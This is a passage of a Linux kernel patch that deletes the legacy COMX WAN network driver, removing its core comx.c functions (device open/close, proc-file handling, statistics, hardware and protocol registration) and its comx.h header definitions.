d) -{ - struct net_device *dev = (struct net_device *)d; - struct comx_channel *ch = dev->priv; - - ch->avg_bytes[ch->loadavg_counter] = ch->current_stats->rx_bytes; - ch->avg_bytes[ch->loadavg_counter + ch->loadavg_size] = - ch->current_stats->tx_bytes; - - ch->loadavg_counter = (ch->loadavg_counter + 1) % ch->loadavg_size; - - mod_timer(&ch->loadavg_timer,jiffies + HZ * ch->loadavg[0]); -} - -#if 0 -static void comx_reset_timerfun(unsigned long d) -{ - struct net_device *dev = (struct net_device *)d; - struct comx_channel *ch = dev->priv; - - if(!(ch->line_status & (PROTO_LOOP | PROTO_UP))) { - if(test_and_set_bit(0,&ch->reset_pending) && ch->HW_reset) { - ch->HW_reset(dev); - } - } - - mod_timer(&ch->reset_timer, jiffies + HZ * ch->reset_timeout); -} -#endif - -static int comx_open(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct proc_dir_entry *comxdir = ch->procdir->subdir; - int ret=0; - - if (!ch->protocol || !ch->hardware) return -ENODEV; - - if ((ret = ch->HW_open(dev))) return ret; - if ((ret = ch->LINE_open(dev))) { - ch->HW_close(dev); - return ret; - }; - - for (; comxdir ; comxdir = comxdir->next) { - if (strcmp(comxdir->name, FILENAME_HARDWARE) == 0 || - strcmp(comxdir->name, FILENAME_PROTOCOL) == 0) - comxdir->mode = S_IFREG | 0444; - } - -#if 0 - ch->reset_pending = 1; - ch->reset_timeout = 30; - ch->reset_timer.function = comx_reset_timerfun; - ch->reset_timer.data = (unsigned long)dev; - ch->reset_timer.expires = jiffies + HZ * ch->reset_timeout; - add_timer(&ch->reset_timer); -#endif - - return 0; -} - -static int comx_close(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct proc_dir_entry *comxdir = ch->procdir->subdir; - int ret = -ENODEV; - - if (test_and_clear_bit(0, &ch->lineup_pending)) { - del_timer(&ch->lineup_timer); - } - -#if 0 - del_timer(&ch->reset_timer); -#endif - - if (ch->init_status & LINE_OPEN && ch->protocol && ch->LINE_close) { - ret = ch->LINE_close(dev); - } - - if (ret) return ret; - - if (ch->init_status & HW_OPEN && ch->hardware && ch->HW_close) { - ret = ch->HW_close(dev); - } - - ch->line_status=0; - - for (; comxdir ; comxdir = comxdir->next) { - if (strcmp(comxdir->name, FILENAME_HARDWARE) == 0 || - strcmp(comxdir->name, FILENAME_PROTOCOL) == 0) - comxdir->mode = S_IFREG | 0644; - } - - return ret; -} - -void comx_status(struct net_device *dev, int status) -{ - struct comx_channel *ch = dev->priv; - -#if 0 - if(status & (PROTO_UP | PROTO_LOOP)) { - clear_bit(0,&ch->reset_pending); - } -#endif - - printk(KERN_NOTICE "Interface %s: modem status %s, line protocol %s\n", - dev->name, status & LINE_UP ? "UP" : "DOWN", - status & PROTO_LOOP ? "LOOP" : status & PROTO_UP ? - "UP" : "DOWN"); - - ch->line_status = status; -} - -static int comx_xmit(struct sk_buff *skb, struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - int rc; - - if (skb->len > dev->mtu + dev->hard_header_len) { - printk(KERN_ERR "comx_xmit: %s: skb->len %d > dev->mtu %d\n", dev->name, - (int)skb->len, dev->mtu); - } - - if (ch->debug_flags & DEBUG_COMX_TX) { - comx_debug_skb(dev, skb, "comx_xmit skb"); - } - - rc=ch->LINE_xmit(skb, dev); -// if (!rc) dev_kfree_skb(skb); - - return rc; -} - -static int comx_header(struct sk_buff *skb, struct net_device *dev, - unsigned short type, void *daddr, void *saddr, unsigned len) -{ - struct comx_channel *ch = dev->priv; - - if (ch->LINE_header) { - return (ch->LINE_header(skb, dev, type, daddr, saddr, len)); - } else { - return 0; - } -} - -static int comx_rebuild_header(struct sk_buff *skb) -{ - struct net_device *dev = skb->dev; - struct comx_channel *ch = dev->priv; - - if (ch->LINE_rebuild_header) { - return(ch->LINE_rebuild_header(skb)); - } else { - return 0; - } -} - -int comx_rx(struct net_device *dev, struct sk_buff *skb) -{ - struct comx_channel *ch = dev->priv; - - if (ch->debug_flags & DEBUG_COMX_RX) { - comx_debug_skb(dev, skb, "comx_rx skb"); - } - if (skb) { - netif_rx(skb); - dev->last_rx = jiffies; - } - return 0; -} - -static struct net_device_stats *comx_stats(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - - return ch->current_stats; -} - -void comx_lineup_func(unsigned long d) -{ - struct net_device *dev = (struct net_device *)d; - struct comx_channel *ch = dev->priv; - - del_timer(&ch->lineup_timer); - clear_bit(0, &ch->lineup_pending); - - if (ch->LINE_status) { - ch->LINE_status(dev, ch->line_status |= LINE_UP); - } -} - -#define LOADAVG(avg, off) (int) \ - ((ch->avg_bytes[(ch->loadavg_counter - 1 + ch->loadavg_size * 2) \ - % ch->loadavg_size + off] - ch->avg_bytes[(ch->loadavg_counter - 1 \ - - ch->loadavg[avg] / ch->loadavg[0] + ch->loadavg_size * 2) \ - % ch->loadavg_size + off]) / ch->loadavg[avg] * 8) - -static int comx_statistics(struct net_device *dev, char *page) -{ - struct comx_channel *ch = dev->priv; - int len = 0; - int tmp; - int i = 0; - char tmpstr[20]; - int tmpstrlen = 0; - - len += sprintf(page + len, "Interface administrative status is %s, " - "modem status is %s, protocol is %s\n", - dev->flags & IFF_UP ? "UP" : "DOWN", - ch->line_status & LINE_UP ? "UP" : "DOWN", - ch->line_status & PROTO_LOOP ? "LOOP" : - ch->line_status & PROTO_UP ? "UP" : "DOWN"); - len += sprintf(page + len, "Modem status changes: %lu, Transmitter status " - "is %s, tbusy: %d\n", ch->current_stats->tx_carrier_errors, ch->HW_txe ? - ch->HW_txe(dev) ? "IDLE" : "BUSY" : "NOT READY", netif_running(dev)); - len += sprintf(page + len, "Interface load (input): %d / %d / %d bits/s (", - LOADAVG(0,0), LOADAVG(1, 0), LOADAVG(2, 0)); - tmpstr[0] = 0; - for (i=0; i != 3; i++) { - char tf; - - tf = ch->loadavg[i] % 60 == 0 && - ch->loadavg[i] / 60 > 0 ? 'm' : 's'; - tmpstrlen += sprintf(tmpstr + tmpstrlen, "%d%c%s", - ch->loadavg[i] / (tf == 'm' ? 60 : 1), tf, - i == 2 ? ")\n" : "/"); - } - len += sprintf(page + len, - "%s (output): %d / %d / %d bits/s (%s", tmpstr, - LOADAVG(0,ch->loadavg_size), LOADAVG(1, ch->loadavg_size), - LOADAVG(2, ch->loadavg_size), tmpstr); - - len += sprintf(page + len, "Debug flags: "); - tmp = len; i = 0; - while (comx_debugflags[i].name) { - if (ch->debug_flags & comx_debugflags[i].value) - len += sprintf(page + len, "%s ", - comx_debugflags[i].name); - i++; - } - len += sprintf(page + len, "%s\n", tmp == len ? "none" : ""); - - len += sprintf(page + len, "RX errors: len: %lu, overrun: %lu, crc: %lu, " - "aborts: %lu\n buffer overrun: %lu, pbuffer overrun: %lu\n" - "TX errors: underrun: %lu\n", - ch->current_stats->rx_length_errors, ch->current_stats->rx_over_errors, - ch->current_stats->rx_crc_errors, ch->current_stats->rx_frame_errors, - ch->current_stats->rx_missed_errors, ch->current_stats->rx_fifo_errors, - ch->current_stats->tx_fifo_errors); - - if (ch->LINE_statistics && (ch->init_status & LINE_OPEN)) { - len += ch->LINE_statistics(dev, page + len); - } else { - len += sprintf(page+len, "Line status: driver not initialized\n"); - } - if (ch->HW_statistics && (ch->init_status & HW_OPEN)) { - len += ch->HW_statistics(dev, page + len); - } else { - len += sprintf(page+len, "Board status: driver not initialized\n"); - } - - return len; -} - -static int comx_ioctl(struct net_device *dev, struct ifreq *ifr, int cmd) -{ - struct comx_channel *ch = dev->priv; - - if (ch->LINE_ioctl) { - return(ch->LINE_ioctl(dev, ifr, cmd)); - } - return -EINVAL; -} - -static void comx_reset_dev(struct net_device *dev) -{ - dev->open = comx_open; - dev->stop = comx_close; - dev->hard_start_xmit = comx_xmit; - dev->hard_header = comx_header; - dev->rebuild_header = comx_rebuild_header; - dev->get_stats = comx_stats; - dev->do_ioctl = comx_ioctl; - dev->change_mtu = NULL; - dev->tx_queue_len = 20; - dev->flags = IFF_NOARP; -} - -static int comx_init_dev(struct net_device *dev) -{ - struct comx_channel *ch; - - if ((ch = kmalloc(sizeof(struct comx_channel), GFP_KERNEL)) == NULL) { - return -ENOMEM; - } - memset(ch, 0, sizeof(struct comx_channel)); - - ch->loadavg[0] = 5; - ch->loadavg[1] = 300; - ch->loadavg[2] = 900; - ch->loadavg_size = ch->loadavg[2] / ch->loadavg[0] + 1; - if ((ch->avg_bytes = kmalloc(ch->loadavg_size * - sizeof(unsigned long) * 2, GFP_KERNEL)) == NULL) { - kfree(ch); - return -ENOMEM; - } - - memset(ch->avg_bytes, 0, ch->loadavg_size * sizeof(unsigned long) * 2); - ch->loadavg_counter = 0; - ch->loadavg_timer.function = comx_loadavg_timerfun; - ch->loadavg_timer.data = (unsigned long)dev; - ch->loadavg_timer.expires = jiffies + HZ * ch->loadavg[0]; - add_timer(&ch->loadavg_timer); - - dev->priv = (void *)ch; - ch->dev = dev; - ch->line_status &= ~LINE_UP; - - ch->current_stats = &ch->stats; - - comx_reset_dev(dev); - return 0; -} - -static int comx_read_proc(char *page, char **start, off_t off, int count, - int *eof, void *data) -{ - struct proc_dir_entry *file = (struct proc_dir_entry *)data; - struct net_device *dev = file->parent->data; - struct comx_channel *ch = dev->priv; - int len = 0; - - if (strcmp(file->name, FILENAME_STATUS) == 0) { - len = comx_statistics(dev, page); - } else if (strcmp(file->name, FILENAME_HARDWARE) == 0) { - len = sprintf(page, "%s\n", ch->hardware ? - ch->hardware->name : HWNAME_NONE); - } else if (strcmp(file->name, FILENAME_PROTOCOL) == 0) { - len = sprintf(page, "%s\n", ch->protocol ? - ch->protocol->name : PROTONAME_NONE); - } else if (strcmp(file->name, FILENAME_LINEUPDELAY) == 0) { - len = sprintf(page, "%01d\n", ch->lineup_delay); - } - - if (off >= len) { - *eof = 1; - return 0; - } - - *start = page + off; - if (count >= len - off) { - *eof = 1; - } - return min_t(int, count, len - off); -} - - -static int comx_root_read_proc(char *page, char **start, off_t off, int count, - int *eof, void *data) -{ - struct proc_dir_entry *file = (struct proc_dir_entry *)data; - struct comx_hardware *hw; - struct comx_protocol *line; - - int len = 0; - - if (strcmp(file->name, FILENAME_HARDWARELIST) == 0) { - for(hw=comx_channels;hw;hw=hw->next) - len+=sprintf(page+len, "%s\n", hw->name); - } else if (strcmp(file->name, FILENAME_PROTOCOLLIST) == 0) { - for(line=comx_lines;line;line=line->next) - len+=sprintf(page+len, "%s\n", line->name); - } - - if (off >= len) { - *eof = 1; - return 0; - } - - *start = page + off; - if (count >= len - off) { - *eof = 1; - } - return min_t(int, count, len - off); -} - - - -static int comx_write_proc(struct file *file, const char *buffer, u_long count, - void *data) -{ - struct proc_dir_entry *entry = (struct proc_dir_entry *)data; - struct net_device *dev = (struct net_device *)entry->parent->data; - struct comx_channel *ch = dev->priv; - char *page; - struct comx_hardware *hw = comx_channels; - struct comx_protocol *line = comx_lines; - int ret=0; - - if (count > PAGE_SIZE) { - printk(KERN_ERR "count is %lu > %d!!!\n", count, (int)PAGE_SIZE); - return -ENOSPC; - } - - if (!(page = (char *)__get_free_page(GFP_KERNEL))) return -ENOMEM; - - if(copy_from_user(page, buffer, count)) - { - count = -EFAULT; - goto out; - } - - if (page[count-1] == '\n') - page[count-1] = '\0'; - else if (count < PAGE_SIZE) - page[count] = '\0'; - else if (page[count]) { - count = -EINVAL; - goto out; - } - - if (strcmp(entry->name, FILENAME_DEBUG) == 0) { - int i; - int ret = 0; - - if ((i = simple_strtoul(page, NULL, 10)) != 0) { - unsigned long flags; - - save_flags(flags); cli(); - if (ch->debug_area) kfree(ch->debug_area); - if ((ch->debug_area = kmalloc(ch->debug_size = i, - GFP_KERNEL)) == NULL) { - ret = -ENOMEM; - } - ch->debug_start = ch->debug_end = 0; - restore_flags(flags); - free_page((unsigned long)page); - return ret ? ret : count; - } - - if (*page != '+' && *page != '-') { - free_page((unsigned long)page); - return -EINVAL; - } - while (comx_debugflags[i].value && - strncmp(comx_debugflags[i].name, page + 1, - strlen(comx_debugflags[i].name))) { - i++; - } - - if (comx_debugflags[i].value == 0) { - printk(KERN_ERR "Invalid debug option\n"); - free_page((unsigned long)page); - return -EINVAL; - } - if (*page == '+') { - ch->debug_flags |= comx_debugflags[i].value; - } else { - ch->debug_flags &= ~comx_debugflags[i].value; - } - } else if (strcmp(entry->name, FILENAME_HARDWARE) == 0) { - if(strlen(page)>10) { - free_page((unsigned long)page); - return -EINVAL; - } - while (hw) { - if (strcmp(hw->name, page) == 0) { - break; - } else { - hw = hw->next; - } - } -#ifdef CONFIG_KMOD - if(!hw && comx_strcasecmp(HWNAME_NONE,page) != 0){ - request_module("comx-hw-%s",page); - } - hw=comx_channels; - while (hw) { - if (comx_strcasecmp(hw->name, page) == 0) { - break; - } else { - hw = hw->next; - } - } -#endif - - if (comx_strcasecmp(HWNAME_NONE, page) != 0 && !hw) { - free_page((unsigned long)page); - return -ENODEV; - } - if (ch->init_status & HW_OPEN) { - free_page((unsigned long)page); - return -EBUSY; - } - if (ch->hardware && ch->hardware->hw_exit && - (ret=ch->hardware->hw_exit(dev))) { - free_page((unsigned long)page); - return ret; - } - ch->hardware = hw; - entry->size = strlen(page) + 1; - if (hw && hw->hw_init) hw->hw_init(dev); - } else if (strcmp(entry->name, FILENAME_PROTOCOL) == 0) { - if(strlen(page)>10) { - free_page((unsigned long)page); - return -EINVAL; - } - while (line) { - if (comx_strcasecmp(line->name, page) == 0) { - break; - } else { - line = line->next; - } - } -#ifdef CONFIG_KMOD - if(!line && comx_strcasecmp(PROTONAME_NONE, page) != 0) { - request_module("comx-proto-%s",page); - } - line=comx_lines; - while (line) { - if (comx_strcasecmp(line->name, page) == 0) { - break; - } else { - line = line->next; - } - } -#endif - - if (comx_strcasecmp(PROTONAME_NONE, page) != 0 && !line) { - free_page((unsigned long)page); - return -ENODEV; - } - - if (ch->init_status & LINE_OPEN) { - free_page((unsigned long)page); - return -EBUSY; - } - - if (ch->protocol && ch->protocol->line_exit && - (ret=ch->protocol->line_exit(dev))) { - free_page((unsigned long)page); - return ret; - } - ch->protocol = line; - entry->size = strlen(page) + 1; - comx_reset_dev(dev); - if (line && line->line_init) line->line_init(dev); - } else if (strcmp(entry->name, FILENAME_LINEUPDELAY) == 0) { - int i; - - if ((i = simple_strtoul(page, NULL, 10)) != 0) { - if (i >=0 && i < 10) { - ch->lineup_delay = i; - } else { - printk(KERN_ERR "comx: invalid lineup_delay value\n"); - } - } - } -out: - free_page((unsigned long)page); - return count; -} - -static int comx_mkdir(struct inode *dir, struct dentry *dentry, int mode) -{ - struct proc_dir_entry *new_dir, *debug_file; - struct net_device *dev; - struct comx_channel *ch; - int ret = -EIO; - - if ((dev = kmalloc(sizeof(struct net_device), GFP_KERNEL)) == NULL) { - return -ENOMEM; - } - memset(dev, 0, sizeof(struct net_device)); - - lock_kernel(); - if ((new_dir = create_proc_entry(dentry->d_name.name, mode | S_IFDIR, - comx_root_dir)) == NULL) { - goto cleanup_dev; - } - - new_dir->nlink = 2; - new_dir->data = NULL; // ide jon majd a struct dev - - /* Ezek kellenek */ - if (!create_comx_proc_entry(FILENAME_HARDWARE, 0644, - strlen(HWNAME_NONE) + 1, new_dir)) { - goto cleanup_new_dir; - } - if (!create_comx_proc_entry(FILENAME_PROTOCOL, 0644, - strlen(PROTONAME_NONE) + 1, new_dir)) { - goto cleanup_filename_hardware; - } - if (!create_comx_proc_entry(FILENAME_STATUS, 0444, 0, new_dir)) { - goto cleanup_filename_protocol; - } - if (!create_comx_proc_entry(FILENAME_LINEUPDELAY, 0644, 2, new_dir)) { - goto cleanup_filename_status; - } - - if ((debug_file = create_proc_entry(FILENAME_DEBUG, - S_IFREG | 0644, new_dir)) == NULL) { - goto cleanup_filename_lineupdelay; - } - debug_file->data = (void *)debug_file; - debug_file->read_proc = NULL; // see below - debug_file->write_proc = &comx_write_proc; - debug_file->nlink = 1; - - strcpy(dev->name, (char *)new_dir->name); - dev->init = comx_init_dev; - - if (register_netdevice(dev)) { - goto cleanup_filename_debug; - } - ch = dev->priv; - if((ch->if_ptr = (void *)kmalloc(sizeof(struct ppp_device), - GFP_KERNEL)) == NULL) { - goto cleanup_register; - } - memset(ch->if_ptr, 0, sizeof(struct ppp_device)); - ch->debug_file = debug_file; - ch->procdir = new_dir; - new_dir->data = dev; - - ch->debug_start = ch->debug_end = 0; - if ((ch->debug_area = kmalloc(ch->debug_size = DEFAULT_DEBUG_SIZE, - GFP_KERNEL)) == NULL) { - ret = -ENOMEM; - goto cleanup_if_ptr; - } - - ch->lineup_delay = DEFAULT_LINEUP_DELAY; - - MOD_INC_USE_COUNT; - unlock_kernel(); - return 0; -cleanup_if_ptr: - kfree(ch->if_ptr); -cleanup_register: - unregister_netdevice(dev); -cleanup_filename_debug: - remove_proc_entry(FILENAME_DEBUG, new_dir); -cleanup_filename_lineupdelay: - remove_proc_entry(FILENAME_LINEUPDELAY, new_dir); -cleanup_filename_status: - remove_proc_entry(FILENAME_STATUS, new_dir); -cleanup_filename_protocol: - remove_proc_entry(FILENAME_PROTOCOL, new_dir); -cleanup_filename_hardware: - remove_proc_entry(FILENAME_HARDWARE, new_dir); -cleanup_new_dir: - remove_proc_entry(dentry->d_name.name, comx_root_dir); -cleanup_dev: - kfree(dev); - unlock_kernel(); - return ret; -} - -static int comx_rmdir(struct inode *dir, struct dentry *dentry) -{ - struct proc_dir_entry *entry = PDE(dentry->d_inode); - struct net_device *dev; - struct comx_channel *ch; - int ret; - - lock_kernel(); - dev = entry->data; - ch = dev->priv; - if (dev->flags & IFF_UP) { - printk(KERN_ERR "%s: down interface before removing it\n", dev->name); - unlock_kernel(); - return -EBUSY; - } - - if (ch->protocol && ch->protocol->line_exit && - (ret=ch->protocol->line_exit(dev))) { - unlock_kernel(); - return ret; - } - if (ch->hardware && ch->hardware->hw_exit && - (ret=ch->hardware->hw_exit(dev))) { - if(ch->protocol && ch->protocol->line_init) { - ch->protocol->line_init(dev); - } - unlock_kernel(); - return ret; - } - ch->protocol = NULL; - ch->hardware = NULL; - - del_timer(&ch->loadavg_timer); - kfree(ch->avg_bytes); - - unregister_netdev(dev); - if (ch->debug_area) { - kfree(ch->debug_area); - } - if (dev->priv) { - kfree(dev->priv); - } - free_netdev(dev); - - remove_proc_entry(FILENAME_DEBUG, entry); - remove_proc_entry(FILENAME_LINEUPDELAY, entry); - remove_proc_entry(FILENAME_STATUS, entry); - remove_proc_entry(FILENAME_HARDWARE, entry); - remove_proc_entry(FILENAME_PROTOCOL, entry); - remove_proc_entry(dentry->d_name.name, comx_root_dir); - - MOD_DEC_USE_COUNT; - unlock_kernel(); - return 0; -} - -static struct dentry *comx_lookup(struct inode *dir, struct dentry *dentry, struct nameidata *nd) -{ - struct proc_dir_entry *de; - struct inode *inode = NULL; - - lock_kernel(); - if ((de = PDE(dir)) != NULL) { - for (de = de->subdir ; de ; de = de->next) { - if ((de->namelen == dentry->d_name.len) && - (memcmp(dentry->d_name.name, de->name, - de->namelen) == 0)) { - if ((inode = proc_get_inode(dir->i_sb, - de->low_ino, de)) == NULL) { - printk(KERN_ERR "COMX: lookup error\n"); - unlock_kernel(); - return ERR_PTR(-EINVAL); - } - break; - } - } - } - unlock_kernel(); - dentry->d_op = &comx_dentry_operations; - d_add(dentry, inode); - return NULL; -} - -int comx_strcasecmp(const char *cs, const char *ct) -{ - register signed char __res; - - while (1) { - if ((__res = toupper(*cs) - toupper(*ct++)) != 0 || !*cs++) { - break; - } - } - return __res; -} - -static int comx_delete_dentry(struct dentry *dentry) -{ - return 1; -} - -static struct proc_dir_entry *create_comx_proc_entry(char *name, int mode, - int size, struct proc_dir_entry *dir) -{ - struct proc_dir_entry *new_file; - - if ((new_file = create_proc_entry(name, S_IFREG | mode, dir)) != NULL) { - new_file->data = (void *)new_file; - new_file->read_proc = &comx_read_proc; - new_file->write_proc = &comx_write_proc; - new_file->size = size; - new_file->nlink = 1; - } - return(new_file); -} - -int comx_register_hardware(struct comx_hardware *comx_hw) -{ - struct comx_hardware *hw = comx_channels; - - if (!hw) { - comx_channels = comx_hw; - } else { - while (hw->next != NULL && strcmp(comx_hw->name, hw->name) != 0) { - hw = hw->next; - } - if (strcmp(comx_hw->name, hw->name) == 0) { - return -1; - } - hw->next = comx_hw; - } - - printk(KERN_INFO "COMX: driver for hardware type %s, version %s\n", comx_hw->name, comx_hw->version); - return 0; -} - -int comx_unregister_hardware(char *name) -{ - struct comx_hardware *hw = comx_channels; - - if (!hw) { - return -1; - } - - if (strcmp(hw->name, name) == 0) { - comx_channels = comx_channels->next; - return 0; - } - - while (hw->next != NULL && strcmp(hw->next->name,name) != 0) { - hw = hw->next; - } - - if (hw->next != NULL && strcmp(hw->next->name, name) == 0) { - hw->next = hw->next->next; - return 0; - } - return -1; -} - -int comx_register_protocol(struct comx_protocol *comx_line) -{ - struct comx_protocol *pr = comx_lines; - - if (!pr) { - comx_lines = comx_line; - } else { - while (pr->next != NULL && strcmp(comx_line->name, pr->name) !=0) { - pr = pr->next; - } - if (strcmp(comx_line->name, pr->name) == 0) { - return -1; - } - pr->next = comx_line; - } - - printk(KERN_INFO "COMX: driver for protocol type %s, version %s\n", comx_line->name, comx_line->version); - return 0; -} - -int comx_unregister_protocol(char *name) -{ - struct comx_protocol *pr = comx_lines; - - if (!pr) { - return -1; - } - - if (strcmp(pr->name, name) == 0) { - comx_lines = comx_lines->next; - return 0; - } - - while (pr->next != NULL && strcmp(pr->next->name,name) != 0) { - pr = pr->next; - } - - if (pr->next != NULL && strcmp(pr->next->name, name) == 0) { - pr->next = pr->next->next; - return 0; - } - return -1; -} - -static int __init comx_init(void) -{ - struct proc_dir_entry *new_file; - - comx_root_dir = create_proc_entry("comx", - S_IFDIR | S_IWUSR | S_IRUGO | S_IXUGO, &proc_root); - if (!comx_root_dir) - return -ENOMEM; - comx_root_dir->proc_iops = &comx_root_inode_ops; - - if ((new_file = create_proc_entry(FILENAME_HARDWARELIST, - S_IFREG | 0444, comx_root_dir)) == NULL) { - return -ENOMEM; - } - - new_file->data = new_file; - new_file->read_proc = &comx_root_read_proc; - new_file->write_proc = NULL; - new_file->nlink = 1; - - if ((new_file = create_proc_entry(FILENAME_PROTOCOLLIST, - S_IFREG | 0444, comx_root_dir)) == NULL) { - return -ENOMEM; - } - - new_file->data = new_file; - new_file->read_proc = &comx_root_read_proc; - new_file->write_proc = NULL; - new_file->nlink = 1; - - - printk(KERN_INFO "COMX: driver version %s (C) 1995-1999 ITConsult-Pro Co. \n", - VERSION); - return 0; -} - -static void __exit comx_exit(void) -{ - remove_proc_entry(FILENAME_HARDWARELIST, comx_root_dir); - remove_proc_entry(FILENAME_PROTOCOLLIST, comx_root_dir); - remove_proc_entry(comx_root_dir->name, &proc_root); -} - -module_init(comx_init); -module_exit(comx_exit); - -EXPORT_SYMBOL(comx_register_hardware); -EXPORT_SYMBOL(comx_unregister_hardware); -EXPORT_SYMBOL(comx_register_protocol); -EXPORT_SYMBOL(comx_unregister_protocol); -EXPORT_SYMBOL(comx_debug_skb); -EXPORT_SYMBOL(comx_debug_bytes); -EXPORT_SYMBOL(comx_debug); -EXPORT_SYMBOL(comx_lineup_func); -EXPORT_SYMBOL(comx_status); -EXPORT_SYMBOL(comx_rx); -EXPORT_SYMBOL(comx_strcasecmp); -EXPORT_SYMBOL(comx_root_dir); ===== drivers/net/wan/comx.h 1.2 vs edited ===== --- 1.2/drivers/net/wan/comx.h Tue Feb 5 08:44:27 2002 +++ edited/drivers/net/wan/comx.h Fri May 7 13:05:54 2004 @@ -1,232 +1 @@ -/* - * General definitions for the COMX driver - * - * Original authors: Arpad Bakay , - * Peter Bajan , - * Previous maintainer: Tivadar Szemethy - * Currently maintained by: Gergely Madarasz - * - * Copyright (C) 1995-1999 ITConsult-Pro Co. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License - * as published by the Free Software Foundation; either version - * 2 of the License, or (at your option) any later version. - * - * - * net_device_stats: - * rx_length_errors rec_len < 4 || rec_len > 2000 - * rx_over_errors receive overrun (OVR) - * rx_crc_errors rx crc error - * rx_frame_errors aborts rec'd (ABO) - * rx_fifo_errors status fifo overrun (PBUFOVR) - * rx_missed_errors receive buffer overrun (BUFOVR) - * tx_aborted_errors ? - * tx_carrier_errors modem line status changes - * tx_fifo_errors tx underrun (locomx) - */ -#include -struct comx_protocol { - char *name; - char *version; - unsigned short encap_type; - int (*line_init)(struct net_device *dev); - int (*line_exit)(struct net_device *dev); - struct comx_protocol *next; - }; - -struct comx_hardware { - char *name; - char *version; - int (*hw_init)(struct net_device *dev); - int (*hw_exit)(struct net_device *dev); - int (*hw_dump)(struct net_device *dev); - struct comx_hardware *next; - }; - -struct comx_channel { - void *if_ptr; // General purpose pointer - struct net_device *dev; // Where we belong to - struct net_device *twin; // On dual-port cards - struct proc_dir_entry *procdir; // the directory - - unsigned char init_status; - unsigned char line_status; - - struct timer_list lineup_timer; // against line jitter - long int lineup_pending; - unsigned char lineup_delay; - -#if 0 - struct timer_list reset_timer; // for board resetting - long reset_pending; - int reset_timeout; -#endif - - struct net_device_stats stats; - struct net_device_stats *current_stats; -#if 0 - unsigned long board_resets; -#endif - unsigned long *avg_bytes; - int loadavg_counter, loadavg_size; - int loadavg[3]; - struct timer_list loadavg_timer; - int debug_flags; - char *debug_area; - int debug_start, debug_end, debug_size; - struct proc_dir_entry *debug_file; -#ifdef CONFIG_COMX_DEBUG_RAW - char *raw; - int raw_len; -#endif - // LINE specific - struct comx_protocol *protocol; - void (*LINE_rx)(struct net_device *dev, struct sk_buff *skb); - int (*LINE_tx)(struct net_device *dev); - void (*LINE_status)(struct net_device *dev, u_short status); - int (*LINE_open)(struct net_device *dev); - int (*LINE_close)(struct net_device *dev); - int (*LINE_xmit)(struct sk_buff *skb, struct net_device *dev); - int (*LINE_header)(struct sk_buff *skb, struct net_device *dev, - u_short type,void *daddr, void *saddr, - unsigned len); - int (*LINE_rebuild_header)(struct sk_buff *skb); - int (*LINE_statistics)(struct net_device *dev, char *page); - int (*LINE_parameter_check)(struct net_device *dev); - int (*LINE_ioctl)(struct net_device *dev, struct ifreq *ifr, - int cmd); - void (*LINE_mod_use)(int); - void * LINE_privdata; - - // HW specific - - struct comx_hardware *hardware; - void (*HW_board_on)(struct net_device *dev); - void (*HW_board_off)(struct net_device *dev); - struct net_device *(*HW_access_board)(struct net_device *dev); - void (*HW_release_board)(struct net_device *dev, struct net_device *savep); - int (*HW_txe)(struct net_device *dev); - int (*HW_open)(struct net_device *dev); - int (*HW_close)(struct net_device *dev); - int (*HW_send_packet)(struct net_device *dev,struct sk_buff *skb); - int (*HW_statistics)(struct net_device *dev, char *page); -#if 0 - int (*HW_reset)(struct net_device *dev, char *page); -#endif - int (*HW_load_board)(struct net_device *dev); - void (*HW_set_clock)(struct net_device *dev); - void *HW_privdata; - }; - -struct comx_debugflags_struct { - char *name; - int value; - }; - -#define COMX_ROOT_DIR_NAME "comx" - -#define FILENAME_HARDWARE "boardtype" -#define FILENAME_HARDWARELIST "boardtypes" -#define FILENAME_PROTOCOL "protocol" -#define FILENAME_PROTOCOLLIST "protocols" -#define FILENAME_DEBUG "debug" -#define FILENAME_CLOCK "clock" -#define FILENAME_STATUS "status" -#define FILENAME_IO "io" -#define FILENAME_IRQ "irq" -#define FILENAME_KEEPALIVE "keepalive" -#define FILENAME_LINEUPDELAY "lineup_delay" -#define FILENAME_CHANNEL "channel" -#define FILENAME_FIRMWARE "firmware" -#define FILENAME_MEMADDR "memaddr" -#define FILENAME_TWIN "twin" -#define FILENAME_T1 "t1" -#define FILENAME_T2 "t2" -#define FILENAME_N2 "n2" -#define FILENAME_WINDOW "window" -#define FILENAME_MODE "mode" -#define FILENAME_DLCI "dlci" -#define FILENAME_MASTER "master" -#ifdef CONFIG_COMX_DEBUG_RAW -#define FILENAME_RAW "raw" -#endif - -#define PROTONAME_NONE "none" -#define HWNAME_NONE "none" -#define KEEPALIVE_OFF "off" - -#define FRAME_ACCEPTED 0 /* sending and xmitter busy */ -#define FRAME_DROPPED 1 -#define FRAME_ERROR 2 /* xmitter error */ -#define FRAME_QUEUED 3 /* sending but more can come */ - -#define LINE_UP 1 /* Modem UP */ -#define PROTO_UP 2 -#define PROTO_LOOP 4 - -#define HW_OPEN 1 -#define LINE_OPEN 2 -#define FW_LOADED 4 -#define IRQ_ALLOCATED 8 - -#define DEBUG_COMX_RX 2 -#define DEBUG_COMX_TX 4 -#define DEBUG_HW_TX 16 -#define DEBUG_HW_RX 32 -#define DEBUG_HDLC_KEEPALIVE 64 -#define DEBUG_COMX_PPP 128 -#define DEBUG_COMX_LAPB 256 -#define DEBUG_COMX_DLCI 512 - -#define DEBUG_PAGESIZE 3072 -#define DEFAULT_DEBUG_SIZE 4096 -#define DEFAULT_LINEUP_DELAY 1 -#define FILE_PAGESIZE 3072 - -#ifndef COMX_PPP_MAJOR -#define COMX_PPP_MAJOR 88 -#endif - - -#define COMX_CHANNEL(dev) ((struct comx_channel*)dev->priv) - -#define TWIN(dev) (COMX_CHANNEL(dev)->twin) - - -#ifndef byte -typedef u8 byte; -#endif -#ifndef word -typedef u16 word; -#endif - -#ifndef SEEK_SET -#define SEEK_SET 0 -#endif -#ifndef SEEK_CUR -#define SEEK_CUR 1 -#endif -#ifndef SEEK_END -#define SEEK_END 2 -#endif - -extern struct proc_dir_entry * comx_root_dir; - -extern int comx_register_hardware(struct comx_hardware *comx_hw); -extern int comx_unregister_hardware(char *name); -extern int comx_register_protocol(struct comx_protocol *comx_line); -extern int comx_unregister_protocol(char *name); - -extern int comx_rx(struct net_device *dev, struct sk_buff *skb); -extern void comx_status(struct net_device *dev, int status); -extern void comx_lineup_func(unsigned long d); - -extern int 